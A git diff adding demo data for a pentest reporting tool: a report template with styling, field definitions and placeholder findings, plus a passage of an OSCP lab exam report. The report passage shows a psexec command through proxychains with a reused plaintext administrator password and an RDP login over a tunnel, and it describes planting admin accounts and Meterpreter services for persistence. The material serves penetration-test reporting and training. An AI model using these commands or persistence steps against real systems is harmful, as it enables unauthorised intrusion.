+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #E83221; + --color-risk-high: #FF9300; + --color-risk-medium: #FFDA00; + --color-risk-low: #4285F5; + --color-risk-info: #00AE51; + + --color-status-open: #E83221; + --color-status-partial: #FF9300; + --color-status-resolved: #00AE51; + --color-status-accepted: #00AE51; + --color-status-changed: #4285F5; +} + +/* Font settings */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 11pt; +} + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.status-open { color: var(--color-status-open) !important; font-weight: bold; } +.status-partial { color: var(--color-status-partial) !important; font-weight: bold; } +.status-resolved { color: var(--color-status-resolved) !important; font-weight: bold; } +.status-accepted { color: var(--color-status-accepted) !important; font-weight: bold; } +.status-changed { color: var(--color-status-changed) !important; font-weight: bold; } + + +/* PDF-specific global styles */ +@page { + size: A4 portrait; + margin: 35mm 26mm 26mm 26mm; +} + +a { + color: inherit; + text-decoration: none; +} + +pre code { + background-color: whitesmoke; + padding: 0.2em !important; +} + +/* helper classes */ +.location-ul { + margin: 0px; + margin-bottom:0.2em; +} +.highlight { + color: #303840; +} + + + + + + + + +/* #region header */ +@page { + margin-top: 35mm; + + --header-background-color: #ABABAB; + --header-margin-bottom: 5mm; + + @top-left-corner { + content: ""; + background-color: var(--header-background-color); + margin-bottom: var(--header-margin-bottom); + } + @top-left { + content: element(header-left); + background-color: var(--header-background-color); + margin-bottom: var(--header-margin-bottom); + width: 51%; + margin-left: -1px; + margin-right: -1px; + } + @top-right { + content: element(header-right); + background-color: var(--header-background-color); + margin-bottom: var(--header-margin-bottom); + width: 51%; + margin-left: -1px; + margin-right: -1px; + } + @top-right-corner { + content: ""; + background-color: var(--header-background-color); + margin-bottom: var(--header-margin-bottom); + } +} + +#header #header-left { position: running(header-left); } +#header #header-logo { + display: inline-block; + height: 100%; + width: 20mm; +} +#header #header-logo img { + width: 100%; + height: auto; +} +#header #header-title { + position: absolute; + top: 8mm; + left: 25mm; + color: #303840; + font-size: 16pt; + font-weight: bold; +} + +#header #header-right { + position: running(header-right); + text-align: right; + color: white; + font-size: 9pt; +} +/* #endregion header */ + +/* #region footer */ +@page { + @bottom-right-corner { + /* Page number */ + content: counter(page) " / " counter(pages); + font-size: 9pt; + } +} +/* #endregion footer */ + +/* #region page-cover */ +#page-cover { + margin: -35mm -26mm 10mm -26mm; +} +@page :first { + /* Hide header */ + @top-left-corner { content: none !important; } + @top-left { content: none !important; } + @top-center { content: none !important; } + @top-right { content: none !important; } + @top-right-corner { content: none !important; } + /* Hide footer */ + @bottom-left-corner { content: none !important; } + @bottom-left { content: none !important; } + @bottom-center { content: none !important; } + @bottom-right { content: none !important; } + @bottom-right-corner { content: none !important; } +} + +#page-cover-background { + width: 100%; + height: 120mm; + overflow: hidden; + background-color: black; +} + +#page-cover-background-img { + width: 100%; + transform: scale(1.16) translateY(-11%); + opacity: 0.7; +} + +#page-cover-logo { + position: absolute; + top: -30mm; + left: -7mm; + width: 50%; +} + +#page-cover-logo-text { + position: absolute; + top: -12mm; + left: 4mm; + color: #ffffff; +} + +#page-cover-infobox { + position: absolute; + top: 30mm; + left: -1mm; + width: 150mm; + color: #ffffff; +} + +#page-cover-title { + font-size: 18pt; + font-weight: normal; + margin-top: 0; + margin-bottom: 0.3em; +} + +#page-cover-customer { + position: absolute; + top: 43mm; + left: -1mm; + width: 150mm; + color: #ffffff; +} + +#page-cover-contact { + position: absolute; + top: 46mm; + right: 4mm; + text-align: right; + color: #ffffff; +} +/* #endregion page-cover */ + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(" ") " " target-counter(attr(href), page); + font-weight: normal; +} +#toc .toc-level1 { + padding-left: 0; + margin-top: 0.7rem; + font-weight: bold; +} +#toc .toc-level2 { + padding-left: 1.5rem; + margin-top: 0.35rem; + font-weight: normal; +} +#toc .toc-level3 { + padding-left: 3rem; + margin-top: 0.25rem; + font-weight: normal; +} +#toc .toc-level4 { + padding-left: 4.5rem; + margin-top: 0; + font-weight: normal; +} +/* #endregion toc */ + +/* #region findings-list */ +#findings-list { + counter-reset: finding-counter; +} +#findings-list .finding-title::before { + counter-increment: finding-counter; + content: counter(finding-counter) ". "; +} + +#findings-list .markdown h1 { + font-size: 13pt; + font-weight: bold; +} + +#findings-list .markdown h2 { + font-size: 12pt; + font-weight: bold; +} + +#findings-list .markdown h3 { + font-size: 11pt; + font-weight: bold; +} +/* #endregion findings-list */ +""" + +[project_type.report_fields] +[project_type.report_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "TODO report title" +required = true +spellcheck = true + +[project_type.report_fields.scope] +type = "markdown" +label = "Scope" +origin = "custom" +default = """ +**TODO scope** + +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +* Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. +* Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. +* Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis. + +At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam diam dolore dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet clita ea et gubergren, kasd magna no rebum. sanctus sea sed takimata ut vero voluptua. est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur +""" +required = true + +[project_type.report_fields.customer] +type = "string" +label = "Customer" +origin = "custom" +default = "TODO customer" +required = true +spellcheck = false + +[project_type.report_fields.duration] +type = "string" +label = "Duration" +origin = "custom" +default = "TODO person days" +required = true +spellcheck = false + +[project_type.report_fields.end_date] +type = "date" +label = "Pentest End Date" +origin = "custom" +required = true + +[project_type.report_fields.is_retest] +type = "boolean" +label = "Is Retest" +origin = "predefined" + +[project_type.report_fields.start_date] +type = "date" +label = "Pentest Start Date" +origin = "custom" +required = true + +[project_type.report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[project_type.report_fields.lead_pentester] +type = "object" +label = "Lead Pentester" +origin = "custom" + +[project_type.report_fields.lead_pentester.properties] +[project_type.report_fields.lead_pentester.properties.name] +type = "string" +label = "Name" +origin = "custom" +default = "TODO name" +required = true +spellcheck = false + +[project_type.report_fields.lead_pentester.properties.email] +type = "string" +label = "Email" +origin = "custom" +default = "TODO email" +required = true +spellcheck = false + +[project_type.report_fields.lead_pentester.properties.phone] +type = "string" +label = "Phone Number" +origin = "custom" +default = "TODO phone" +required = true +spellcheck = false + +[project_type.report_fields.document_history] +type = "list" +label = "Document History" +origin = "custom" +required = true + +[project_type.report_fields.document_history.items] +type = "object" +label = "" +origin = "custom" + +[project_type.report_fields.document_history.items.properties] +[project_type.report_fields.document_history.items.properties.description] +type = "string" +label = "Description" +origin = "custom" +default = "TODO description" +required = true +spellcheck = false + +[project_type.report_fields.document_history.items.properties.date] +type = "date" +label = "Date" +origin = "custom" +required = true + +[project_type.report_fields.document_history.items.properties.authors] +type = "list" +label = "Authors" +origin = "custom" +required = true + +[project_type.report_fields.document_history.items.properties.authors.items] +type = "string" +label = "" +origin = "custom" +default = "TODO author" +required = true +spellcheck = false + +[project_type.report_fields.document_history.items.properties.version] +type = "string" +label = "Version" +origin = "custom" +default = "TODO version" +required = true +spellcheck = false + +[project_type.report_fields.executive_summary] +type = "markdown" +label = "Executive Summary" +origin = "custom" +default = """ +**TODO summary** + +Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. + +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse +""" +required = true + +[[project_type.report_sections]] +id = "executive_summary" +label = "Executive Summary" +fields = [ + "executive_summary", +] + +[[project_type.report_sections]] +id = "scope" +label = "Scope" +fields = [ + "scope", + "duration", + "start_date", + "end_date", +] + +[[project_type.report_sections]] +id = "customer" +label = "Customer" +fields = [ + "customer", +] + +[[project_type.report_sections]] +id = "other" +label = "Other" +fields = [ + "title", + "report_date", + "lead_pentester", + "document_history", + "is_retest", +] + +[project_type.finding_fields] +[project_type.finding_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "TODO: New Finding" +required = true +spellcheck = true + +[project_type.finding_fields.cvss] +type = "cvss" +label = "CVSS" +origin = "core" +default = "n/a" +required = true + +[project_type.finding_fields.summary] +type = "markdown" +label = "Summary" +origin = "predefined" +default = "TODO summary" +required = true + +[project_type.finding_fields.description] +type = "markdown" +label = "Technical Description" +origin = "predefined" +default = "TODO description" +required = true + +[project_type.finding_fields.recommendation] +type = "markdown" +label = "Recommendation" +origin = "predefined" +default = "TODO recommendation" +required = true + +[project_type.finding_fields.references] +type = "list" +label = "References" +origin = "predefined" +required = false + +[project_type.finding_fields.references.items] +type = "string" +label = "" +origin = "predefined" +required = true +spellcheck = false + +[project_type.finding_fields.retest_notes] +type = "markdown" +label = "Re-test Notes" +origin = "predefined" +required = false + +[project_type.finding_fields.retest_status] +type = "enum" +label = "Re-test Status" +origin = "predefined" +required = false + +[[project_type.finding_fields.retest_status.choices]] +label = "Open" +value = "open" + +[[project_type.finding_fields.retest_status.choices]] +label = "Resolved" +value = "resolved" + +[[project_type.finding_fields.retest_status.choices]] +label = "Partially Resolved" +value = "partial" + +[[project_type.finding_fields.retest_status.choices]] +label = "Changed" +value = "changed" + +[[project_type.finding_fields.retest_status.choices]] +label = "Accepted" +value = "accepted" + +[project_type.finding_fields.affected_components] +type = "list" +label = "Affected Components" +origin = "predefined" +required = true + +[project_type.finding_fields.affected_components.items] +type = "string" +label = "Component" +origin = "predefined" +default = "TODO affected component" +required = true +spellcheck = false + +[project_type.finding_fields.short_recommendation] +type = "string" +label = "Short Recommendation" +origin = "predefined" +required = true +spellcheck = true + +[project_type.report_preview_data] +[project_type.report_preview_data.report] +title = "Example Web-App" +scope = """ +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +* Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. +* Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. +* Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis. + +At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam diam dolore dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet clita ea et gubergren, kasd magna no rebum. sanctus sea sed takimata ut vero voluptua. est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur +""" +customer = "Example Customer" +duration = "TODO person days" +end_date = "2022-07-08" +is_retest = true +start_date = "2022-07-08" +report_date = "2022-07-08" +executive_summary = """ +Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. + +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse +""" + +[project_type.report_preview_data.report.lead_pentester] +name = "Maxima Mustermensch" +email = "maxima@securitymaximale.com" +phone = "+43 660 123 456 78 " + +[[project_type.report_preview_data.report.document_history]] +description = "Draft" +date = "2022-07-08" +authors = [ + "TODO Author1", +] +version = "0.1" + +[[project_type.report_preview_data.report.document_history]] +description = "Final Report" +date = "2022-07-08" +authors = [ + "TODO Author1", + "TODO Author2", +] +version = "1.0" + +[[project_type.report_preview_data.findings]] +title = "Demo Finding Critical" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "c5012235-9cd4-475f-86de-0236de1b4b88" +references = [ + "https://example.com/reference1", + "https://example.com/reference2", +] +retest_notes = "" +retest_status = "open" +affected_components = [ + "TODO affected component", +] +short_recommendation = "" + +[[project_type.report_preview_data.findings]] +title = "Demo Finding Also Critical" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "c6a6d51c-999c-4e8c-a506-596689e73f0b" +references = [ + "https://example.com/reference3", +] +retest_notes = "" +retest_status = "open" +affected_components = [] +short_recommendation = "" + +[[project_type.report_preview_data.findings]] +title = "Demo Finding Low" +cvss = "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "cd3c3719-8536-43d4-878a-cdb9dc842b70" +references = [] +retest_notes = "" +retest_status = "open" +affected_components = [ + "TODO affected component", +] +short_recommendation = "" + +[[project_type.report_preview_data.findings]] +title = "Demo Finding Info" +cvss = "n/a" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "e899b5cf-83d2-48bf-8838-9899246b67fc" +references = [] +retest_notes = "" +retest_status = "open" +affected_components = [ + "TODO affected component", +] +short_recommendation = "" + +[[project_type.assets]] +id = "83267eff-aa36-45dc-9ea1-f85339be650e" +name = "LICENSE" + +[[project_type.assets]] +id = "09c9ffa0-c519-4491-90b9-ccb810dc9e47" +name = "header-logo.png" + +[[project_type.assets]] +id = "e645fd3e-dc5f-4aa5-873c-0e73a9da7223" +name = "background-26185.jpg" + +[[project_type.assets]] +id = "a1dcb41b-a093-42a9-b1b7-2f01cd96e39a" +name = "logo-transparent.png" diff --git a/demo_data/demo-projects/oscp-exam-report-demo-assets/LICENSE b/demo_data/demo-projects/oscp-exam-report-demo-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/demo-projects/oscp-exam-report-demo-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-18239.jpg b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-18239.jpg new file mode 100644 index 0000000..9252af6 Binary files /dev/null and b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-18239.jpg differ diff --git a/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-32877.jpg b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-32877.jpg new file mode 100644 index 0000000..a76bb21 Binary files /dev/null and b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-32877.jpg differ diff --git a/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-40126.jpg b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-40126.jpg new file mode 100644 index 0000000..9e63d5e Binary files /dev/null and b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-40126.jpg differ diff --git a/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-48948.jpg b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-48948.jpg new file mode 100644 index 0000000..bd46a58 Binary files /dev/null and b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-48948.jpg differ diff --git a/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-5026.jpg b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-5026.jpg new file mode 100644 index 0000000..68f2e80 Binary files /dev/null and b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-5026.jpg differ diff --git a/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-54644.jpg b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-54644.jpg new file mode 100644 index 0000000..a5ef0dd Binary files /dev/null and b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-54644.jpg differ diff --git a/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-58203.jpg b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-58203.jpg new file mode 100644 index 0000000..864f39f Binary files /dev/null and b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-58203.jpg differ diff --git a/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-5838.jpg b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-5838.jpg new file mode 100644 index 0000000..510d1d8 Binary files /dev/null and b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-5838.jpg differ diff --git a/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-88002.jpg b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-88002.jpg new file mode 100644 index 0000000..43ce72a Binary files /dev/null and b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-88002.jpg differ diff --git a/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-96640.jpg b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-96640.jpg new file mode 100644 index 0000000..20941a3 Binary files /dev/null and b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik-96640.jpg differ diff --git a/demo_data/demo-projects/oscp-exam-report-demo-images/grafik.jpg b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik.jpg new file mode 100644 index 0000000..dae8e14 Binary files /dev/null and b/demo_data/demo-projects/oscp-exam-report-demo-images/grafik.jpg differ diff --git a/demo_data/demo-projects/oscp-exam-report-demo.toml b/demo_data/demo-projects/oscp-exam-report-demo.toml new file mode 100644 index 0000000..786b9df --- /dev/null +++ b/demo_data/demo-projects/oscp-exam-report-demo.toml @@ -0,0 +1,1244 @@ +format = "projects/v1" +id = "d03d7feb-a9c8-43b2-bbc2-7d72849db78c" +name = "OSCP Exam Report Demo" +language = "en-US" +tags = [] +members = [] + +[[sections]] +id = "Student" +status = "finished" + +[[sections]] +id = "methodology" +status = "finished" + +[[sections]] +id = "other" +status = "finished" + +[[sections]] +id = "appendix" +status = "finished" + +[[sections]] +id = "high-level_summary" +status = "finished" + +[[images]] +id = "f6f34754-6f17-418e-9438-3266553143c4" +name = "grafik-5838.jpg" + +[[images]] +id = "193d3d1d-131c-4743-8f8a-a37e87beaddc" +name = "grafik-88002.jpg" + +[[images]] +id = "701b903a-732b-41a9-8d91-4c0147196406" +name = "grafik-18239.jpg" + +[[images]] +id = "760def8a-1afa-4d2c-9c1d-46fd6fe50eaf" +name = "grafik-96640.jpg" + +[[images]] +id = "fb860a02-479b-418e-854a-cb3748be8445" +name = "grafik-54644.jpg" + +[[images]] +id = "4ea665ae-774f-49ca-826f-4935e57d0d8c" +name = "grafik-58203.jpg" + +[[images]] +id = "3655b982-ae06-4b2f-b018-e47205f33b35" +name = "grafik-32877.jpg" + +[[images]] +id = "d36ccafe-325f-4771-a466-8253564dfdcc" +name = "grafik-5026.jpg" + +[[images]] +id = "d552ec96-cea9-4c0c-9c1a-e7d02e00336e" +name = "grafik-48948.jpg" + +[[images]] +id = "b25436de-f331-410a-9398-5825c0c58e52" +name = "grafik-40126.jpg" + +[[images]] +id = "3acc6915-6c30-4cbd-89c5-3ef2719cdca2" +name = "grafik.jpg" + +[report_data] +title = "OSCP Exam Report Demo" +mail = "student@example.com" +osid = "OS-XXXXX" +watermark = false +methodology = "John recommends patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date." +penetration = "The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, John was able to successfully gain access to 10 out of the 50 systems." +report_date = "2022-12-31" +serviceenum = "The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed." +housecleaning = """ +The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organizations computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important. + +After the trophies on both the lab network and exam network were completed, John removed all user accounts and passwords as well as the Meterpreter services installed on the system. Offensive Security should not have to remove any user accounts or services from the system. +""" +infogathering = """ +The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, John was tasked with exploiting the lab and exam network. The specific IP addresses were: + +**Exam Network:** + +* 172.16.203.133 +* 172.16.203.134 +* 172.16.203.135 +* 172.16.203.136 +""" +maintainaccess = """ +Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit. + +John added administrator and root level accounts on all systems compromised. In addition to the administrative/root access, a Metasploit meterpreter service was installed on the machine to ensure that additional access could be established. +""" +report_version = "1.0" +recommendations = "John recommends patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date." +appendix_sections = [] +highlevel_summary = """ +John Doe was tasked with performing an internal penetration test towards Offensive Security Labs. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security’s internal lab systems – the THINC.local domain. John’s overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security. + +When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Offensive Security’s network. When performing the attacks, John was able to gain access to multiple machines, primarily due to outdated patches and poor security configurations. During the testing, John had administrative level access to multiple systems. All systems were successfully exploited and access granted. +""" +lastname = "Doe" +firstname = "John" + +[[findings]] +id = "7d9c0db2-888c-4b03-a5e5-88cdc0684d63" +status = "finished" + +[findings.data] +title = "DC" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" +ip_address = "10.5.5.30" +serviceenum = """ +**Port Scan Results** + +| IP Address | Ports Open | +| ------- | ------- | +| 10.5.5.30 | **TCP:** 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 3389 | +""" +initialaccess = """ +**Steps to reproduce the attack:** John was able to reuse a temporary password that the administrator left for Alex. + +``` +proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py admin:UWyBGeTp3Bhw7f@10.5.5.30 +``` + +![Screenshot](/images/name/grafik-88002.jpg) +""" +postexploitation = """ +**System Proof Screenshot:** +![Proof](/images/name/grafik-5838.jpg) +""" +isActiveDirectory = true +privilegeescalation = "" +hostname = "TODO: fill field in report" + +[[findings]] +id = "d4acc7d2-2a2a-4e50-8f7f-54415a8d47d0" +status = "finished" + +[findings.data] +title = "Poultry" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" +ip_address = "10.5.5.20" +serviceenum = """ +**Port Scan Results** + +| IP Address | Ports Open | +| ------- | ------- | +| 10.5.5.20 | **TCP:** 135, 139, 445, 3389 | +""" +initialaccess = """ +**Steps to reproduce the attack:** with the credentials at hand and a reverse tunnel established, John connected to an RDP session using proxychains accepting the certificate when prompted and entering the retrieved password afterward. + +``` +proxychains xfreerdp /d:sandbox /u:alex /v:10.5.5.20 +clipboard +``` +""" +postexploitation = """ +**Local Proof Screenshot:** +![Proof](/images/name/grafik-96640.jpg) + +John noticed the presence of the Thunderbird program on the user’s desktop, and while checking Alex’s inbox he found the email from a local administrator Roger: + +![Screenshot](/images/name/grafik-18239.jpg) +""" +isActiveDirectory = true +privilegeescalation = "" +hostname = "TODO: fill field in report" + +[[findings]] +id = "a62710d4-3c47-4e4b-826c-35b581ac47fd" +status = "finished" + +[findings.data] +title = "Ajla" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" +ip_address = "10.4.4.10" +serviceenum = """ +**Port Scan Results** + +| IP Address | Ports Open | +| ------- | ------- | +| 10.4.4.10 | **TCP:** 22, 80 | 